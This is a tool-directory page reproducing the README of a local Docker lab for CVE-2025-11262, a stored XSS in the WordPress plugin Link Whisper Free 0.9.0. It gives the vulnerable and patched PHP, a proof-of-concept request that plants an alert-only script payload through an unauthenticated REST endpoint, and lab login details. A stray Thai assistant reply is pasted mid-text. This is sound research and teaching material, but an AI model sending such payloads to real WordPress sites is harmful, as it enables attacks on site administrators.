Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-11262-Lab | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2025-11262-lab
Vulnerability AnalysisWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2025-11262-lab

CVE-2025-11262-Lab

View Repository
2 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-11262 - Link Whisper Free Unauthenticated Stored Blind XSS

Executive Summary

This repository contains a local Docker lab for reproducing CVE-2025-11262, an unauthenticated stored cross-site scripting issue affecting the WordPress plugin Link Whisper Free.

The lab compares two plugin versions:

ServicePlugin versionPurposeURL
vuln0.9.0Vulnerable targethttp://127.0.0.1:8081
patched0.9.1Patched comparison targethttp://127.0.0.1:8082

The demonstrated vulnerability chain is:

root@kitploit:~
Unauthenticated REST request
→ attacker-controlled user_id is persisted
→ a privileged WordPress user opens the Link Whisper AI Subscription page
→ the stored value is rendered into an admin JavaScript context
→ alert("CVE-2025-11262-LAB") executes on the vulnerable version

The attacker does not need to be logged in to plant the stored payload. The JavaScript executes later when a privileged WordPress user opens the affected admin page.

This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.

Verified Facts

นี่คือส่วน Root Cause Summary สำหรับเอาไปแทนใน README ได้เลยครับ เป็น public-safe ไม่พูดถึงไฟล์ภายในอย่าง vuln_detail.txt และอิงกับ lab/source ที่คุณใช้ตอนนี้

Root Cause Summary

CVE-2025-11262 is caused by a stored JavaScript injection chain in Link Whisper Free 0.9.0.

The issue is not a single missing escaping call. It is a chain of multiple unsafe behaviors:

root@kitploit:~
Unauthenticated REST endpoint
→ insufficient validation of user_id
→ persistent storage in wpil_ai_access_user_id
→ unsafe rendering into an admin JavaScript context
→ stored XSS when a privileged user opens the AI Subscription page

Unauthenticated REST endpoint

Link Whisper Free registers an AI authentication REST endpoint under the plugin REST namespace:

root@kitploit:~
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';

The endpoint is registered as a POST route:

root@kitploit:~
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
    'methods'             => 'POST',
    'callback'            => [
        $this,
        'ai_auth_handler'
    ],
    'permission_callback' => "__return_true",
    'show_in_index'       => false
]);

Because the permission callback is __return_true, the endpoint is reachable without authentication.

In the lab, the effective endpoint is:

root@kitploit:~
/wp-json/link-whisper/ai-auth

This means an unauthenticated attacker can send a request to the endpoint without a WordPress session, nonce, or administrator account.

Vulnerable input handling in 0.9.0

In Link Whisper Free 0.9.0, the handler reads attacker-controlled parameters from the REST request:

root@kitploit:~
public function ai_auth_handler( WP_REST_Request $request )
{
    if(!empty($request->get_param('access_token'))){
        $token = $request->get_param('access_token');
        $user_id = $request->get_param('user_id');
        $uid = (int)$request->get_param('uid');
        $uemail = $request->get_param('uemail');

        if(!empty($token) && false !== strpos($token, 'ai-')){
            update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
            update_option('wpil_ai_access_user_id', $user_id);
            update_option('wpil_ai_access_user_email', $uemail);
            update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
            update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
            update_option('wpil_ai_access_authorized', true);
        }

        return 'ok';
    }

    return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}

The vulnerable behavior is the weak validation condition:

root@kitploit:~
if(!empty($token) && false !== strpos($token, 'ai-')){

This only checks whether the supplied access token contains the string ai-.

There is no strict validation of user_id before it is stored:

root@kitploit:~
update_option('wpil_ai_access_user_id', $user_id);

As a result, attacker-controlled JavaScript can be persisted in the WordPress options table.

Persistent storage

The attacker-controlled user_id value is stored in the WordPress option:

root@kitploit:~
wpil_ai_access_user_id

In this lab, the PoC sends the following local-only payload:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

On the vulnerable service, the payload is stored as the value of wpil_ai_access_user_id.

The attacker does not need to be logged in to plant the payload. The payload is planted through the unauthenticated REST endpoint.

Admin JavaScript sink

The stored value is later retrieved through the plugin settings logic:

root@kitploit:~
public static function get_linkwhisper_ai_user_id(){
    return get_option('wpil_ai_access_user_id', '');
}

The value is assigned to $ai_id and rendered into the AI Subscription admin page.

In Link Whisper Free 0.9.0, the value is inserted directly into a JavaScript string:

root@kitploit:~
body: JSON.stringify({
    ai_id: "<?php echo $ai_id;?>",
    subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})

Because $ai_id is not escaped before being inserted into the JavaScript context, a stored payload can break out of the intended string and execute JavaScript when the admin page is opened.

With the lab payload, the vulnerable rendered output becomes equivalent to:

root@kitploit:~
body: JSON.stringify({
    ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
    subscription_id: ""
})

In a browser, the injected closing </script> tag terminates the original script block, and the injected <script> block executes.

Trigger condition

The payload is planted by an unauthenticated attacker, but execution requires a privileged WordPress user to open the affected admin page:

root@kitploit:~
/wp-admin/admin.php?page=link_whisper_ai_subscription

In this lab, the affected page is opened as the WordPress administrator to trigger the alert dialog.

This makes the issue an unauthenticated stored XSS targeting authenticated WordPress administrators or privileged users who can access the Link Whisper AI Subscription admin page.

Patch behavior in 0.9.1

Link Whisper Free 0.9.1 adds stricter validation before storing the AI authentication values.

The patched handler requires the token and user ID to match strict formats:

root@kitploit:~
if(
    !empty($token) &&
    false !== strpos($token, 'ai-') &&
    (bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
    (bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
    update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
    update_option('wpil_ai_access_user_id', $user_id);
    update_option('wpil_ai_access_user_email', sanitize_email($uemail));
    update_option('wpil_ai_access_authorized', true);
}

The important validation added for user_id is:

root@kitploit:~
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)

This prevents arbitrary JavaScript from being stored as the AI user ID.

Version 0.9.1 also escapes the value before rendering it into the JavaScript context:

root@kitploit:~
body: JSON.stringify({
    ai_id: "<?php echo esc_attr($ai_id);?>",
    subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})

The patch therefore mitigates the issue at two points:

root@kitploit:~
Input validation before persistence
Output escaping before JavaScript rendering

Lab-confirmed behavior

The lab confirms the difference between 0.9.0 and 0.9.1.

On Link Whisper Free 0.9.0:

root@kitploit:~
POST /wp-json/link-whisper/ai-auth
→ returns "ok"
→ stores the payload in wpil_ai_access_user_id
→ opening the AI Subscription admin page triggers alert("CVE-2025-11262-LAB")

On Link Whisper Free 0.9.1:

root@kitploit:~
POST /wp-json/link-whisper/ai-auth
→ may still return "ok"
→ does not store the payload
→ opening the AI Subscription admin page does not trigger an alert

The HTTP response alone is not sufficient to determine whether the target is vulnerable, because both versions may return "ok". The meaningful behavioral difference is whether the payload is persisted and later rendered in the admin JavaScript context.

Lab Architecture

The lab runs two isolated WordPress instances and two separate MySQL databases through Docker Compose.

root@kitploit:~
.
├── docker/
│   └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
└── vuln/
    └── Dockerfile

The Docker entrypoint automatically:

  • waits for WordPress and the database,
  • installs WordPress if needed,
  • activates Link Whisper Free,
  • prepares the admin page needed for the reproduction,
  • prints the lab login details.

Default WordPress administrator credentials for both services:

root@kitploit:~
admin / AdminPassw0rd!

Requirements

  • Docker Desktop or Docker Engine
  • Docker Compose v2
  • Python 3
  • Internet access during image build, because the Dockerfiles download plugin packages from WordPress.org

Quick Start

Build and start the lab:

root@kitploit:~
docker compose down -v
docker compose build --no-cache
docker compose up -d

Check the containers:

root@kitploit:~
docker compose ps

Expected exposed services:

root@kitploit:~
Vulnerable target: http://127.0.0.1:8081
Patched target:    http://127.0.0.1:8082

You can also watch the setup logs:

root@kitploit:~
docker compose logs vuln patched

A successful setup should show Link Whisper active in each WordPress instance.

PoC Usage

Run the PoC against the vulnerable service:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

The PoC sends this local-only payload through the unauthenticated REST endpoint:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

After the script runs, open the printed admin URL in a browser and log in with:

root@kitploit:~
admin / AdminPassw0rd!

On the vulnerable service, the browser should display an alert containing:

root@kitploit:~
CVE-2025-11262-LAB

For comparison, run the same PoC against the patched service:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8082

Then open the printed admin URL for the patched service. No alert should be triggered.

Expected Output

Vulnerable target:

root@kitploit:~
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

[next step]
Open this URL in a browser and login as the lab administrator:

http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription

Patched target:

root@kitploit:~
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

The HTTP response alone is not enough to determine whether the target is vulnerable. The important difference is the browser behavior after the privileged user opens the affected admin page.

Screenshot Evidence

CVE-2025-11262 vulnerable alert screenshot

Suggested screenshot target:

root@kitploit:~
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription

The screenshot should show the browser alert with:

root@kitploit:~
CVE-2025-11262-LAB

How the PoC Works

The PoC is intentionally small and only requires a target URL:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

It sends a POST request to:

root@kitploit:~
/wp-json/link-whisper/ai-auth

with the following form fields:

root@kitploit:~
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id      = </script><script>alert("CVE-2025-11262-LAB")</script>
uid          = 1
uemail       = [email protected]

On the vulnerable service, the stored value is later rendered into the AI Subscription page. When an administrator opens that page, the JavaScript executes.

On the patched service, the same payload should not result in an alert.

Useful Verification Commands

Check plugin versions:

root@kitploit:~
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper

Check whether the vulnerable service stored the payload:

root@kitploit:~
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root

Expected vulnerable value:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

Check the patched service:

root@kitploit:~
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root

Expected patched behavior:

root@kitploit:~
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?

Check REST endpoint access logs:

root@kitploit:~
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'

Mitigation and Patch Notes

Upgrade Link Whisper Free to 0.9.1 or later.

The patch prevents this lab payload from being persisted and rendered by adding stricter validation and safer output handling around the affected AI authentication flow.

For production environments, also consider:

  • keeping WordPress plugins updated,
  • limiting administrative access,
  • monitoring unexpected requests to plugin REST endpoints,
  • reviewing suspicious script-like values in WordPress options,
  • applying defense-in-depth filtering where appropriate.

Cleanup

Stop and remove containers, networks, and volumes:

root@kitploit:~
docker compose down -v

Remove locally built images if desired:

root@kitploit:~
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true

Safety Boundaries

This lab is for local security research and controlled demonstration only.

Do not run the PoC against systems you do not own or do not have permission to test.

Do not use real credentials, production secrets, or external callbacks in this lab.

The PoC intentionally uses a visible alert() marker for screenshot evidence. It does not include payloads for credential theft, session theft, persistence beyond the lab, or automated administrator actions.

References

  • GitHub Advisory Database: CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
    https://github.com/advisories/GHSA-7h4c-hr9j-8q85

  • Wordfence Intelligence: Link Whisper Free vulnerability database entry
    https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper

  • WordPress.org Plugin Directory: Link Whisper Free
    https://wordpress.org/plugins/link-whisper/

  • WordPress.org plugin package used by the vulnerable lab
    https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip

  • WordPress.org plugin package used by the patched lab
    https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip

  • WordPress plugin source browser: Link Whisper 0.9.0 Rest.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php

  • WordPress plugin source browser: Link Whisper 0.9.1 Rest.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php

  • WordPress plugin source browser: Link Whisper 0.9.0 Settings.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php

  • WordPress plugin source browser: Link Whisper 0.9.1 Settings.php

Download Tool
ClaimEvidenceHow to verify in this lab
Link Whisper Free 0.9.0 is vulnerable.Public advisories identify Link Whisper Free versions up to and including 0.9.0 as affected.Run the PoC against http://127.0.0.1:8081 and open the printed admin URL.
Link Whisper Free 0.9.1 contains the fix.Public advisory and changelog data identify 0.9.1 as the patched version.Run the same PoC against http://127.0.0.1:8082; no alert should appear.
Payload planting is unauthenticated.The PoC sends a POST request without WordPress cookies, login, or nonce.Inspect poc/poc.py; it only requires --url.
The visible impact is triggered in the WordPress admin area.The stored value is rendered when the Link Whisper AI Subscription page is opened by a privileged user.After running the PoC, log in as admin and open the printed admin URL.
The patched target may still return "ok" at the HTTP layer.Local testing showed both targets can return "ok"; the meaningful difference is whether the payload is persisted and executed.Compare browser behavior on 8081 and 8082.

https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Settings.php